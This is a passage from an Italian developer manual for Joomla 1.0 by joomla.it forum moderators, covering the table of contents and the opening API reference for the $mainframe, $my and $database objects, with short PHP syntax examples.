

Revisione:

1.0.0
PRE-FINAL

Manualistica tecnica

Joomla 1.0

Manuale dello sviluppatore

A cura di (*in ordine alfabetico*):

Luca Azzano global moderator forum joomla.it e membro TTI
Alexandro Gotev moderatore forum joomla.it e membro TTI
Marco Napolitano global moderator forum joomla.it e membro TTI



Indice

Parte Zero - Introduzione	1
1 Introduzione	1
2 Elementi di sistema	2
2.1 Oggetto \$mainframe	2
2.1.1 Metodo getUser()	2
2.1.2 Metodo getPath()	2
2.1.3 Metodo getCfg()	3
2.1.4 Metodo addMetaTag()	4
2.1.5 Metodo addCustomHeadTag()	4
2.1.6 Metodo getHead()	4
2.1.7 Metodo getPageTitle()	4
2.1.8 Metodo setPageTitle()	4
2.1.9 Metodo getTemplate()	5
2.1.10 Metodo getCustomPathWay()	5
2.1.11 Metodo appendPathWay()	5
2.1.12 Metodo getBasePath()	5
2.1.13 Metodo initSession()	6
2.1.14 Metodo detect()	6
2.1.15 Metodo isAdmin()	6
2.2 Oggetto \$my	6
2.3 Oggetto \$database	6
2.3.1 Metodo getErrorNum()	7
2.3.2 Metodo getErrorMsg()	7
2.3.3 Metodo stderr()	7
2.3.4 Metodo getEscaped()	7
2.3.5 Metodo Quote()	7
2.3.6 Metodo NameQuote()	7
2.3.7 Metodo getNullDate()	8
2.3.8 Metodo setQuery()	8
2.3.9 Metodo getQuery()	8
2.3.10 Metodo query()	9
2.3.11 Metodo getAffectedRows()	9
2.3.12 Metodo getNumRows()	9
2.3.13 Metodo loadAssocList()	9
2.3.14 Metodo loadObjectList()	9
2.3.15 Approfondimento	10
2.3.16 Metodo loadResult()	11
2.3.17 Metodo loadObject()	11
2.3.18 Metodo loadRow()	11
2.3.19 Metodo insertid()	11
2.3.20 Metodo insertObject()	11
2.3.21 Metodo updateObject()	12
2.3.22 Metodo getPrefix()	12

2.3.23	Metodo <code>explain()</code>	12
2.3.24	Metodo <code>getTables()</code>	12
2.3.25	Metodo <code>getTableFields()</code>	13
2.3.26	Metodo <code>getVersion()</code>	13
2.3.27	Esempio pratico	13
2.3.28	Utilizzo di database esterni	14
2.4	Oggetto <code>\$params</code>	14
2.4.1	Metodo <code>get()</code>	15
2.4.2	Metodo <code>set()</code>	15
2.4.3	Metodo <code>def()</code>	15
2.5	Oggetto <code>\$acl</code>	15
2.5.1	Metodo <code>debug_text()</code>	16
2.5.2	Metodo <code>debug_db()</code>	16
2.5.3	Metodo <code>acl_check()</code>	16
2.5.4	Metodo <code>showarray()</code>	17
2.5.5	Metodo <code>return_page()</code>	18
2.5.6	Metodo <code>count_all()</code>	18
2.5.7	Metodo <code>get_group_id()</code>	18
2.5.8	Metodo <code>get_group_name()</code>	18
2.5.9	Metodo <code>get_group_children()</code>	19
2.5.10	Metodo <code>get_group_parents()</code>	19
2.6	Classe <code>mosUser</code>	19
2.7	Classe <code>mosMenuBar</code>	20
2.8	Classe <code>mosSession</code>	22
2.8.1	Costruttore <code>mosSession()</code>	23
2.8.2	Metodo <code>get()</code>	23
2.8.3	Metodo <code>set()</code>	23
2.8.4	Metodo <code>setFromRequest()</code>	23
2.8.5	Metodo <code>generateId()</code>	23
2.8.6	Metodo <code>getCookie()</code>	24
2.8.7	Metodo <code>purge()</code>	24
2.9	Classe <code>mosTabs</code>	24
2.9.1	Costruttore <code>mosTabs()</code>	24
2.9.2	Metodo <code>startPane()</code>	24
2.9.3	Metodo <code>endPane()</code>	25
2.9.4	Metodo <code>startTab()</code>	25
2.9.5	Metodo <code>endTab()</code>	25
2.10	Classe <code>mosCommonHTML</code>	25
2.10.1	Metodo <code>loadOverLib()</code>	25
2.10.2	Metodo <code>loadCalendar()</code>	25
2.10.3	Metodo <code>ContentLegend()</code>	26
2.11	Funzione <code>ampReplace()</code>	26
2.12	Funzione <code>josGetArrayInts()</code>	26
2.13	Funzione <code>mosArrayToInts()</code>	27
2.14	Funzione <code>mosCreateMail()</code>	27
2.15	Funzione <code>mosCurrentDate()</code>	27

2.16	Funzione <code>mosErrorAlert()</code>	27
2.17	Funzione <code>mosFormatDate()</code>	28
2.18	Funzione <code>mosGetBrowser()</code>	28
2.19	Funzione <code>mosGetOS()</code>	28
2.20	Funzione <code>mosGetParam()</code>	28
2.21	Funzione <code>mosMakePassword()</code>	30
2.22	Funzione <code>mosMail()</code>	30
2.23	Funzione <code>mosNotAuth()</code>	30
2.24	Funzione <code>mosObjectToArray()</code>	31
2.25	Funzione <code>mosReadDirectory()</code>	32
2.26	Funzione <code>mosRedirect()</code>	32
2.27	Funzione <code>mosStripSlashes()</code>	32
2.28	Funzione <code>mosToolTip()</code>	33
2.29	Funzione <code>mosWarning()</code>	34
2.30	Funzione <code>sefRelToAbs()</code>	34
2.31	Funzione <code>SortArrayObjects()</code>	34
3	File di installazione	35
3.1	Creazione dei parametri	35
3.1.1	Tag <code><params></code>	35
3.1.2	Tag <code><param></code>	36
	Parte Prima - Template	38
4	Struttura del template	38
4.1	Blocchi e posizione	38
4.2	Intestazione	39
4.3	Corpo	40
4.4	Piè di pagina	40
4.5	CSS di base	41
4.6	Esempio di template	43
5	Esempi pratici	44
5.1	Template a tre colonne	44
5.2	Template Flash e Ajax	45
	Parte Seconda - Moduli	61
6	Introduzione	61
7	Struttura dei file	61
7.1	Codice del modulo	62
7.2	File di installazione	62
8	Esempi pratici	63
8.1	Segnatempo	64
8.2	Informazioni utente	65
8.3	Informazioni utente - parametri	66

8.4	Elenco contenuti	68
8.5	Elenco contenuti - parametri	70
8.6	Statistiche avanzate	72
Parte Terza - Componenti		76
9	Introduzione	76
10	Struttura dei file	76
10.1	File del frontend	77
10.2	File del backend	80
10.3	File di classe	87
10.4	File di installazione	87
11	Paginazione dei risultati	89
11.1	Classe mosPageNav	90
11.2	Esempio pratico	93
12	Compatibilità RG_EMULATION=off e register_globals=off	95
12.1	RG_EMULATION	95
12.2	register_globals	95
12.3	Sviluppo estensioni di terze parti	95
13	Realizzazione dell'aiuto in linea	96
14	Esempi pratici	97
14.1	Componente Clock	97
14.2	Componente Clock2	99
14.3	Componente Clock3	102
14.4	Componente iShare	106
14.5	Componente iShare 2.0	112
14.6	Componente iShare 3.0	120
Parte Quarta - Mambot		131
15	Introduzione	131
16	Struttura dei file	132
16.1	Codice del mambot	132
16.1.1	Evento onSearch	133
16.1.2	Evento onPrepareContent	134
16.1.3	Eventi di editor	135
16.1.4	Mambot e parametri	136
16.2	File di installazione	137

17 Esempi pratici	137
17.1 Inserimento tag	138
17.2 Inserimento link	139
17.3 Inserimento link - parametri	140
17.4 Filtro parolacce	143
 Parte Quinta - Appendici	 145
A Classe mosHTML	145
A.1 Metodo BackButton()	145
A.2 Metodo CloseButton()	146
A.3 Metodo emailCloaking()	146
A.4 Metodo idBox()	148
A.5 Metodo integerSelectList()	149
A.6 Metodo makeOption()	149
A.7 Metodo monthSelectList()	150
A.8 Metodo PrintIcon()	151
A.9 Metodo radioList()	152
A.10 Metodo selectList()	153
A.11 Metodo sortIcon()	154
A.12 Metodo treeSelectList()	156
A.13 Metodo yesnoRadioList()	157
A.14 Metodo yesnoSelectList()	158
A.15 Metodo cleanText()	159
 B Classe mosAdminMenus	 160
B.1 Metodo Ordering()	160
B.2 Metodo Access()	160
B.3 Metodo Parent()	161
B.4 Metodo Published()	161
B.5 Metodo Link()	162
B.6 Metodo Target()	162
B.7 Metodo MenuLinks()	163
B.8 Metodo Category()	163
B.9 Metodo Section()	164
B.10 Metodo Component()	164
B.11 Metodo ComponentName()	165
B.12 Metodo Images()	165
B.13 Metodo SpecificOrdering()	166
B.14 Metodo UserSelect()	166
B.15 Metodo Positions()	167
B.16 Metodo ComponentCategory()	168
B.17 Metodo SelectSection()	168
B.18 Metodo Links2Menu()	169
B.19 Metodo MenuSelect()	169
B.20 Metodo GetImageFolders()	169
B.21 Metodo ImageCheck()	170

B.22 Metodo <code>ImageCheckAdmin()</code>	170
C Tag <param> e componenti	171
D Parametri personalizzati	175
D.1 Hack del codice per i moduli	175
D.2 Estensione della classe	175
D.3 Creazione dei tipi	176
D.4 Utilizzo dei parametri	177
E Eventi personalizzati	178
E.1 Gruppi personalizzati	178
E.2 Gestione degli eventi	178
E.3 Innesco degli eventi	178
F Localizzazione del codice	180
F.1 Fase I18N	180
F.2 Fase L10N	181
F.3 Recuperare la lingua	181
F.4 Stringhe dinamiche	183
F.5 Uso delle costanti	184
G Realizzare componenti sicuri	185
G.1 Accesso diretto ai file	185
G.2 Remote file inclusion	185
G.3 SQL injection	186
G.4 Cross-site scripting	186
H Changelog	188

Elenco delle tabelle

1 Metodo <code>getPath</code>	3
2 Metodi di <code>mosMenuBar</code>	22
3 Changelog	188

Elenco dei listati

1 Sintassi <code>getUser</code>	2
2 Sintassi <code>getPath</code>	2
3 Sintassi <code>getCfg</code>	3
4 Sintassi <code>addMetaTag</code>	4
5 Sintassi <code>addCustomHeadTag</code>	4
6 Sintassi <code>getHead</code>	4
7 Sintassi <code>getPageTitle</code>	4
8 Sintassi <code>setPageTitle</code>	4
9 Sintassi <code>getTemplate</code>	5

10	Sintassi <code>getCustomPathWay</code>	5
11	Sintassi <code>appendPathWay</code>	5
12	Sintassi <code>getBasePath</code>	5
13	Sintassi <code>initSession</code>	6
14	Sintassi <code>detect</code>	6
15	Sintassi <code>isAdmin</code>	6
16	Sintassi <code>getErrorNum</code>	7
17	Sintassi <code>getErrorMsg</code>	7
18	Sintassi <code>stderr</code>	7
19	Sintassi <code>getEscaped</code>	7
20	Sintassi <code>Quote</code>	7
21	Sintassi <code>NameQuote</code>	7
22	Sintassi <code>getNullDate</code>	8
23	Sintassi <code>setQuery</code>	8
24	Sintassi <code>getQuery</code>	8
25	Sintassi <code>query</code>	9
26	Sintassi <code>getAffectedRows</code>	9
27	Sintassi <code>getNumRows</code>	9
28	Sintassi <code>loadAssocList</code>	9
29	Sintassi <code>loadObjectList</code>	9
30	Sintassi <code>loadResult</code>	11
31	Sintassi <code>loadObject</code>	11
32	Sintassi <code>loadRow</code>	11
33	Sintassi <code>insertid</code>	11
34	Sintassi <code>insertObject</code>	11
35	Sintassi <code>updateObject</code>	12
36	Sintassi <code>getPrefix</code>	12
37	Sintassi <code>explain</code>	12
38	Sintassi <code>getTables</code>	12
39	Sintassi <code>getTableFields</code>	13
40	Sintassi <code>getVersion</code>	13
41	Sintassi <code>get</code>	15
42	Sintassi <code>set</code>	15
43	Sintassi <code>def</code>	15
44	Sintassi <code>debug_text</code>	16
45	Sintassi <code>debug_db</code>	16
46	Sintassi <code>acl_check</code>	16
47	Sintassi <code>showarray</code>	17
48	Sintassi <code>return_page</code>	18
49	Sintassi <code>count_all</code>	18
50	Sintassi <code>get_group_id</code>	18
51	Sintassi <code>get_group_name</code>	18
52	Sintassi <code>get_group_children</code>	19
53	Sintassi <code>get_group_parents</code>	19
54	Sintassi <code>mosSession</code>	23
55	Sintassi <code>get</code>	23

56	Sintassi <code>set</code>	23
57	Sintassi <code>setFromRequest</code>	23
58	Sintassi <code>generateId</code>	23
59	Sintassi <code>getCookie</code>	24
60	Sintassi <code>purge</code>	24
61	Sintassi <code>mosTabs</code>	24
62	Sintassi <code>startPane</code>	24
63	Sintassi <code>endPane</code>	25
64	Sintassi <code>startTab</code>	25
65	Sintassi <code>endTab</code>	25
66	Sintassi <code>loadOverLib</code>	25
67	Sintassi <code>loadCalendar</code>	25
68	Sintassi <code>ContentLegend</code>	26
69	Sintassi <code>ampReplace</code>	26
70	Sintassi <code>josGetArrayInts</code>	26
71	Sintassi <code>mosArrayToInts</code>	27
72	Sintassi <code>mosCreateMail</code>	27
73	Sintassi <code>mosCurrentDate</code>	27
74	Sintassi <code>mosErrorAlert</code>	27
75	Sintassi <code>mosFormatDate</code>	28
76	Sintassi <code>mosGetBrowser</code>	28
77	Sintassi <code>mosGetOS</code>	28
78	Sintassi <code>mosGetParam</code>	29
79	Sintassi <code>mosMakePassword</code>	30
80	Sintassi <code>mosCreateMail</code>	30
81	Sintassi <code>mosNotAuth</code>	30
82	Sintassi <code>mosObjectToArray</code>	31
83	Sintassi <code>mosReadDirectory</code>	32
84	Sintassi <code>mosRedirect</code>	32
85	Sintassi <code>mosStripSlashes</code>	32
86	Sintassi <code>mosToolTip</code>	33
87	Sintassi <code>mosWarning</code>	34
88	Sintassi <code>sefRelToAbs</code>	34
89	Sintassi <code>SortArrayObjects</code>	34
90	Sintassi <code><params></code>	35
91	Sintassi <code><param></code>	36
92	Template - intestazione	39
93	Template - tag <code><head></code>	39
94	Template - posizionamento blocchi	40
95	Template - corpo principale	40
96	Template - piè di pagina	40
97	CSS di base	41
98	Esempio Template a tre colonne - <code>index.php</code>	44
99	Esempio Template Flash e Ajax - <code>index.php</code>	46
100	Esempio Template Flash e Ajax - <code>splitmenu.php</code>	48
101	Esempio Template Flash e Ajax - <code>loader.js</code>	52

102	Esempio Template Flash e Ajax - <code>template_css.css</code>	52
103	Esempio Template Flash e Ajax - <code>loader.css</code>	59
104	Esempio Template Flash e Ajax - <code>TemplateDetails.xml</code>	60
105	<code>mod.segnatempo.php</code>	64
106	<code>mod.segnatempo.xml</code>	64
107	<code>mod.infoutente.php</code>	65
108	<code>mod.infoutente.xml</code>	66
109	<code>mod.infoutente2.php</code>	66
110	<code>mod.infoutente2.xml</code>	67
111	<code>mod.contenuti.php</code>	68
112	<code>mod.contenuti.xml</code>	69
113	<code>mod.contenuti2.php</code>	70
114	<code>mod.contenuti2.xml</code>	71
115	<code>mod.statistiche.php</code>	72
116	<code>mod.statistiche.xml</code>	74
117	Sintassi <code>orderUpIcon</code>	91
118	Sintassi <code>orderUpIcon</code>	91
119	<code>com.clock.xml</code>	98
120	<code>clock.php</code>	98
121	<code>clock.html.php</code>	99
122	<code>com.clock2.xml</code>	100
123	<code>clock2.php</code>	100
124	<code>clock2.html.php</code>	101
125	<code>admin.clock2.php</code>	102
126	<code>admin.clock2.html.php</code>	102
127	<code>com.clock3.xml</code>	103
128	<code>clock3.php</code>	103
129	<code>clock3.html.php</code>	104
130	<code>admin.clock3.php</code>	105
131	<code>admin.clock3.html.php</code>	105
132	<code>toolbar.clock3.php</code>	105
133	<code>toolbar.clock3.html.php</code>	106
134	<code>install.ishare.php</code>	107
135	<code>uninstall.ishare.php</code>	108
136	<code>admin.ishare.php</code>	108
137	<code>admin.ishare.html.php</code>	108
138	<code>ishare.php</code>	109
139	<code>ishare.html.php</code>	109
140	<code>com.ishare_install.xml</code>	111
141	<code>install.ishare2.php</code>	112
142	<code>uninstall.ishare2.php</code>	113
143	<code>admin.ishare2.php</code>	113
144	<code>admin.ishare2.html.php</code>	114
145	<code>toolbar.ishare2.php</code>	116
146	<code>toolbar.ishare2.html.php</code>	116
147	<code>ishare2.php</code>	117

148	ishare2.html.php	117
149	com_ishare2.xml	119
150	install.ishare3.php	120
151	uninstall.ishare3.php	121
152	config.ishare3.php	121
153	italian.php	121
154	english.php	122
155	admin.ishare3.php	122
156	admin.ishare3.html.php	125
157	toolbar.ishare3.php	126
158	toolbar.ishare3.html.php	126
159	ishare3.php	127
160	ishare3.html.php	127
161	com_ishare3.xml	129
162	Mambot - evento onSearch	133
163	Mambot - evento onPrepareContent	134
164	Mambot - eventi di editor	135
165	mosCustomTag.php	138
166	mosCustomTag.xml	138
167	mosInsertLink.php	139
168	mosInsertLink.xml	140
169	mosInsertLink2.php	140
170	mosInsertLink2.xml	142
171	mosBadWord.php	143
172	mosBadWord.xml	144
173	Sintassi mosHTML::BackButton	145
174	Sintassi mosHTML::CloseButton	146
175	Sintassi mosHTML::emailCloaking	147
176	Sintassi mosHTML::idBox	148
177	Sintassi mosHTML::integerSelectList	149
178	Sintassi mosHTML::makeOption	150
179	Sintassi mosHTML::monthSelectList	150
180	Sintassi mosHTML::PrintIcon	151
181	Sintassi mosHTML::radioList	152
182	Sintassi mosHTML::selectList	153
183	Sintassi mosHTML::sortIcon	154
184	Sintassi mosHTML::treeSelectList	156
185	Sintassi mosHTML::yesnoRadioList	157
186	Sintassi mosHTML::yesnoSelectList	158
187	Sintassi cleanText	159
188	Sintassi mosAdminMenus::Ordering	160
189	Sintassi mosAdminMenus::Access	160
190	Sintassi mosAdminMenus::Parent	161
191	Sintassi mosAdminMenus::Published	161
192	Sintassi mosAdminMenus::Link	162
193	Sintassi mosAdminMenus::Target	162

194	Sintassi mosAdminMenus::MenuLinks	163
195	Sintassi mosAdminMenus::Category	163
196	Sintassi mosAdminMenus::Section	164
197	Sintassi mosAdminMenus::Component	164
198	Sintassi mosAdminMenus::ComponentName	165
199	Sintassi mosAdminMenus::Images	165
200	Sintassi mosAdminMenus::SpecificOrdering	166
201	Sintassi mosAdminMenus::UserSelect	166
202	Sintassi mosAdminMenus::Positions	167
203	Sintassi mosAdminMenus::ComponentCategory	168
204	Sintassi mosAdminMenus::SelectSection	168
205	Sintassi mosAdminMenus::Links2Menu	169
206	Sintassi mosAdminMenus::MenuSelect	169
207	Sintassi mosAdminMenus::GetImageFolders	169
208	Sintassi mosAdminMenus::ImageCheck	170
209	Sintassi mosAdminMenus::ImageCheckAdmin	170
210	clock5.xml	171
211	clock5.php	172
212	clock5.html.php	173
213	File joomla_custom.xml.php	175
214	Formato gestore personalizzato	176

DEVBOOK

Pagina bianca

Parte Zero

Introduzione

Note di versione

Il presente manuale presenta un numero di versione del tipo 1.0.N.

Trattandosi del manuale di Joomla 1.0, *major number* e *minor number* rimarranno fissi; sarà solamente il *build number* N a crescere in seguito a modifiche e correzioni.

La pubblicazione di una nuova versione, annulla e sostituisce le precedenti.

1 Introduzione

Il presente manuale è destinato e dedicato agli sviluppatori, pertanto non poteva che iniziare con la *Parte Zero*.

Joomla è un CMS che permette di gestire il proprio sito web concentrandosi sui contenuti dello stesso, lasciando al sistema il compito di impaginarli. E' un sistema aperto ed in quanto tale permette la creazione di espansioni per aumentare le funzionalità fornite all'utente finale.

Questo manuale è dedicato proprio alla descrizione delle interfacce e dei meccanismi necessari alla creazione di tali espansioni. E' un manuale per sviluppatori, non per principianti, pertanto chi si cimenta nella lettura deve già possedere una profonda conoscenza degli strumenti di base, quali il funzionamento della piattaforma web, HTML, CSS, PHP, MySQL, XML, nonché ovviamente Joomla 1.0.

Il manuale procederà con un'introduzione relativa ad alcuni aspetti tecnici di Joomla per poi addentrarsi con decisione nella descrizione di come realizzare le tre tipologie di espansioni presenti in Joomla: moduli, componenti e mambot.

Il tutto attraverso una base teorica, ma soprattutto tramite *use case* specifici, esempi con cui l'utente potrà mettere a fuoco le nozioni teoriche e capirne l'applicabilità.

Per completezza, verranno inoltre fatti alcuni esempi sulla realizzazione dei template, sempre analizzandone l'aspetto tecnico e non grafico.

2 Elementi di sistema

Tutte le espansioni¹ che andremo a considerare, non sono script a sè stanti, ma sono integrati all'interno del framework di Joomla; pertanto vengono richiamati e gestiti dal sistema stesso. Grazie a questo meccanismo è possibile utilizzare un insieme di variabili e funzioni di sistema molto utili nello sviluppo delle espansioni, se non indispensabili, per accedere a database, parametri, environment, ...

Tutti gli elementi di sistema sono situati all'interno della cartella `includes` di Joomla e la maggior parte sono definiti nel file `includes/joomla.php`.

Vediamo quindi alcuni degli elementi più importanti ai fini dello sviluppo.

2.1 Oggetto `$mainframe`

La variabile `$mainFrame` è un'istanza della classe `mosMainFrame` che fornisce numerosi metodi per interfacciarsi con il framework di Joomla.

Analizziamo quindi alcuni dei metodi più importanti.

2.1.1 Metodo `getUser()`

```
1 object getUser();
```

Listato 1: Sintassi `getUser`

Restituisce un oggetto di tipo `mosUser` (si veda la sezione 2.6) contenente le informazioni sulla sessione corrente dell'utente registrato, quali username, email, ...

L'utilizzo di questo metodo in realtà viene sostituito dalla variabile globale `$my` (si veda la sezione 2.2).

2.1.2 Metodo `getPath()`

Il metodo `getPath()` viene utilizzato all'interno del codice di un componente e serve per ricavare il percorso completo dei vari file che lo compongono, senza doverlo specificare per esteso.

Come si vedrà in dettaglio nella sezione 7, un componente è costituito da diversi file PHP (di frontend, backend, classe, ...) e tali file possono dover essere richiamati all'interno del componente mediante la classica funzione `require()` (o `require_once()`); il metodo serve a fornire il parametro corretto per tale funzione, senza che il programmatore sia costretto a scrivere improbabili URL.

Questo metodo risulta essere molto utile, perchè previene i problemi dovuti al spostamento dei file di codice o alla modifica di eventuali path dei file stessi.

La sintassi del metodo è la seguente:

```
1 string getPath (string $key);
```

Listato 2: Sintassi `getPath`

L'unico parametro è:

`$key` tipologia del file di cui ottenere il percorso

¹ossia moduli, componenti e mambot

Il parametro `$key` può assumere i seguenti valori, ciascuno dei quali corrisponde ad una precisa tipologia di file:

Chiave	Valore restituito
front	<code>installdir/components/COMP/COMP.php</code> <code>installdir/templates/TMPL/components/COMP.php</code>
front_html	<code>installdir/components/COMP/COMP.html.php</code> <code>installdir/templates/TMPL/components/COMP.html.php</code>
admin	<code>installdir/administrator/components/COMP/admin.COMP.php</code> <code>installdir/administrator/components/com_admin/admin.COMP.php</code>
admin_html	<code>installdir/administrator/components/COMP/admin.COMP.html.php</code> <code>installdir/administrator/components/com_admin/admin.COMP.html.php</code>
toolbar	<code>installdir/administrator/components/COMP/toolbar.COMP.php</code>
toolbar_html	<code>installdir/administrator/components/COMP/toolbar.COMP.html.php</code>
toolbar_default	<code>installdir/administrator/includes/toolbar.html.php</code>
class	<code>installdir/components/COMP/COMP.class.php</code> <code>installdir/administrator/components/COMP/COMP.class.php</code> <code>installdir/includes/COMP.class.php</code>

Tabella 1: Metodo `getPath`

In realtà il metodo `getPath()` avrebbe anche un secondo parametro `$option`, che non viene normalmente utilizzato nello sviluppo dei componenti da parte dell'utente.

Vediamo un esempio per fare maggiore chiarezza, anche se i dettagli verranno illustrati nella sezione 7.

Supponiamo di essere nel codice dello script principale del componente e di avere necessità di utilizzare metodi e funzioni del suo frontend e della classe; pertanto sarà necessario scrivere:

```

1 // include il file del frontend
2 require_once($mainframe->getPath("front_html"));
3 // include il file di classe
4 require_once($mainframe->getPath("class"));

```

2.1.3 Metodo `getCfg()`

```

1 string getCfg (string $varname);

```

Listato 3: Sintassi `getCfg`

Restituisce il valore della variabile di sistema `$varname`, oppure `null` se la variabile non esiste. La variabile di sistema viene ricercata all'interno del file `configuration.php` ed il valore del parametro da passare al metodo è il *solo nome*; sarà il metodo stesso ad aggiungere il prefisso `mosConfig_` per ottenere il nome completo.

Ad esempio per ottenere il valore della variabile `$mosConfig_sitename` è necessario effettuare la seguente chiamata:

```

1 $nomeSito = $mainFrame->getCfg("sitename");

```

2.1.4 Metodo `addMetaTag()`

```
1 void addMetaTag(string $name, string $content, string $prepend='', string $append='');
```

Listato 4: Sintassi `addMetaTag`

Metodo che aggiunge un tag HTML `<meta>` nell'intestazione della pagina. I parametri sono:

`$name` valore dell'attributo `name` del tag `<meta>`

`$content` valore dell'attributo `content` del tag `<meta>`

`$prepend` eventuale testo da visualizzare prima del tag

`$append` eventuale testo da visualizzare dopo del tag

2.1.5 Metodo `addCustomHeadTag()`

```
1 void addCustomHeadTag(string $html);
```

Listato 5: Sintassi `addCustomHeadTag`

Metodo che aggiunge un blocco di codice personalizzato all'interno dell'intestazione `<head>` della pagina; il codice da inserire può essere di qualsiasi tipo, HTML, Javascript, CSS, ...

L'unico parametro `$html` rappresenta il codice da inserire.

2.1.6 Metodo `getHead()`

```
1 string getHead();
```

Listato 6: Sintassi `getHead`

Restituisce una stringa che rappresenta il contenuto del tag `<head>` della pagina, e che comprende il titolo e tutti i meta tag impostati; i tag `<head>` e `</head>` non sono compresi nell'output.

2.1.7 Metodo `getPageTitle()`

```
1 string getPageTitle();
```

Listato 7: Sintassi `getPageTitle`

Restituisce una stringa che rappresenta il titolo della pagina; i tag `<title>` e `</title>` non sono compresi nell'output.

2.1.8 Metodo `setPageTitle()`

```
1 void setPageTitle($title = null);
```

Listato 8: Sintassi `setPageTitle`

Metodo che imposta il titolo della pagina al valore `$title` passato come argomento.

2.1.9 Metodo `getTemplate()`

```
1 string getTemplate();
```

Listato 9: Sintassi `getTemplate`

Metodo che restituisce il nome della cartella del template correntemente in uso. Viene utilizzato all'interno del template per referenziare correttamente fogli di stile e altri file.

2.1.10 Metodo `getCustomPathWay()`

```
1 string getCustomPathWay();
```

Listato 10: Sintassi `getCustomPathWay`

Restituisce il valore del *pathway* personalizzato. Il pathway è quella stringa che visualizza la posizione della pagina che si sta visualizzando, all'interno di Joomla: *Home* ▷ *Notizie* ▷ *Annuncio 1*.

2.1.11 Metodo `appendPathWay()`

```
1 void appendPathWay($html);
```

Listato 11: Sintassi `appendPathWay`

Permette di personalizzare il pathway, aggiungendo il codice HTML² passato come argomento. E' un metodo utile per visualizzare la posizione raggiunta all'interno del proprio componente. Quando si consultano le normali notizie, si sarà notato un pathway di questo tipo:

```
1 Home > Notizie > Ultime > Benvenuto in Joomla!
```

Quando si realizza un proprio componente, il pathway si limita a visualizzare la prima voce (*Notizie*), ossia il nome. Ma se il componente possiede funzionalità che richiedono l'aggiunta di voci nel pathway, ciò è possibile grazie al metodo `appendPathWay()`, da inserire nelle pagine che richiedono la voce aggiuntiva:

```
1 $mainframe->appendPathWay("testo");
2 // oppure
3 $mainframe->appendPathWay("<a href='index.php?option=$option&Itemid=$Itemid&task ←
   ← =... '>testo</a>");
```

2.1.12 Metodo `getBasePath()`

```
1 string getBasePath([string $client=0[, boolean $addTrailingSlash=true]]);
```

Listato 12: Sintassi `getBasePath`

Metodo che restituisce il percorso base (in termini di path assoluto) di Joomla, in accordo ai valori dei parametri:

²o in alternativa anche solo testo

\$client stabilisce il tipo di percorso da restituire a seconda dei valori assunti:

- con 0, `site` o `front` restituisce il percorso del frontend
- con 2, o `installation` restituisce il percorso dell'installazione
- con 1, `admin` o `administrator` restituisce il percorso del backend

\$addTrailingSlash flag che stabilisce se aggiungere uno slash finale al percorso oppure no

2.1.13 Metodo `initSession()`

```
1 void initSession();
```

Listato 13: Sintassi `initSession`

Metodo che inizializza una sessione utente; le vecchie sessioni vengono svuotate, conformemente alla configurazione del tempo di vita dei cookie.

Se la sessione esiste già, viene aggiornata la data dell'ultimo accesso; altrimenti viene generato un nuovo `ID` di sessione e creato un record nella tabella `jos_sessions`.

2.1.14 Metodo `detect()`

```
1 void detect();
```

Listato 14: Sintassi `detect`

Rileva una visita sul sito, aggiornando la tabella delle statistiche relativamente a browser, dominio, sistema operativo e numero di accessi.

Viene inoltre settato un cookie per marcare la prima visita ed evitare conteggi ripetuti sullo stesso visitatore.

2.1.15 Metodo `isAdmin()`

```
1 boolean isAdmin();
```

Listato 15: Sintassi `isAdmin`

Stabilisce se l'esecuzione avviene nel backend o nel frontend.

Restituisce `true` per il backend e `false` per il frontend.

2.2 Oggetto \$my

La variabile `$my` è un'istanza della classe `mosUser`, contenente le informazioni sulla sessione corrente dell'utente registrato; come il valore di ritorno del metodo `$mainFrame->getUser()` (vedi sezione 2.6).

2.3 Oggetto \$database

La variabile `$database` è un'istanza della classe `database`, contenente i metodi di accesso al database MySQL usato da Joomla. Vediamo i metodi più utilizzati.

2.3.1 Metodo `getErrorNum()`

```
1 int getErrorNum();
```

Listato 16: Sintassi `getErrorNum`

Restituisce il codice di errore dell'ultima query eseguita.

2.3.2 Metodo `getErrorMsg()`

```
1 string getErrorMsg();
```

Listato 17: Sintassi `getErrorMsg`

Restituisce il messaggio di errore dell'ultima query eseguita.

2.3.3 Metodo `stderr()`

```
1 string stderr([boolean $showSQL = false]);
```

Listato 18: Sintassi `stderr`

Restituisce un messaggio di errore dettagliato, completo di codice e messaggio di errore (vedi sezioni 2.3.1 e 2.3.2).

Il parametro booleano `$showSQL` stabilisce se includere anche la query SQL all'interno del messaggio.

2.3.4 Metodo `getEscaped()`

```
1 string getEscaped(string $text);
```

Listato 19: Sintassi `getEscaped`

Restituisce la stringa `$text` pronta per essere memorizzata all'interno di MySQL, dopo aver effettuato l'escape di tutti i caratteri critici.

2.3.5 Metodo `Quote()`

```
1 string Quote(string $text);
```

Listato 20: Sintassi `Quote`

Restituisce la stringa `$text` pronta per essere memorizzata all'interno di MySQL (analogamente al metodo `getEscaped`), ma quotata (ossia racchiusa tra apici).

2.3.6 Metodo `NameQuote()`

```
1 string NameQuote(string $identifier);
```

Listato 21: Sintassi `NameQuote`

Il metodo riceve come argomento il nome di un identificatore (campo, tabella, ...) di MySQL e lo restituisce quotato.

E' molto importante per evitare errori nel caso in cui si utilizzino dei nomi uguali a parole chiave di MySQL.

2.3.7 Metodo getNullDate()

```
1 string getNullDate();
```

Listato 22: Sintassi getNullDate

Restituisce una stringa rappresentante una data nulla.

Viene utilizzato per memorizzare nel dabatabase un valore di data, anzichè il valore null.

2.3.8 Metodo setQuery()

```
1 void setQuery(string $sql[, string $offset = 0[, string $limit = 0[, string $prefix='#_-' ]]]);
```

Listato 23: Sintassi setQuery

E' sicuramente il metodo più importante e serve per impostare la query SQL da eseguire nel codice. I parametri sono:

\$sql query SQL da eseguire

\$offset record da cui partire per la selezione

\$limit numero di risultati da restituire

\$prefix prefisso dei nomi delle tabelle, se diverso dal default

Si ricorda che Joomla introduce la costante stringa #_ che rappresenta il nome del prefisso usato per le tabelle e configurato durante l'installazione. Tale costante va utilizzata in ogni query per essere sicuri di accedere alle tabelle correttamente:

```
1 SELECT * FROM #_content
```

verrà convertita internamente in:

```
1 SELECT * FROM jos_content
```

supponendo che jos_ sia il prefisso impostato.

Non utilizzare mai il prefisso esplicitamente (ossia jos_), perchè se non corrisponde a quello configurato nel sistema, l'espansione non funzionerà.

2.3.9 Metodo getQuery()

```
1 string getQuery();
```

Listato 24: Sintassi getQuery

Restituisce una stringa contenente la query SQL impostata con il metodo setQuery().

La stringa è in formato HTML, racchiusa nel tag <pre></pre>.

2.3.10 Metodo query()

```
1 mixed query();
```

Listato 25: Sintassi query

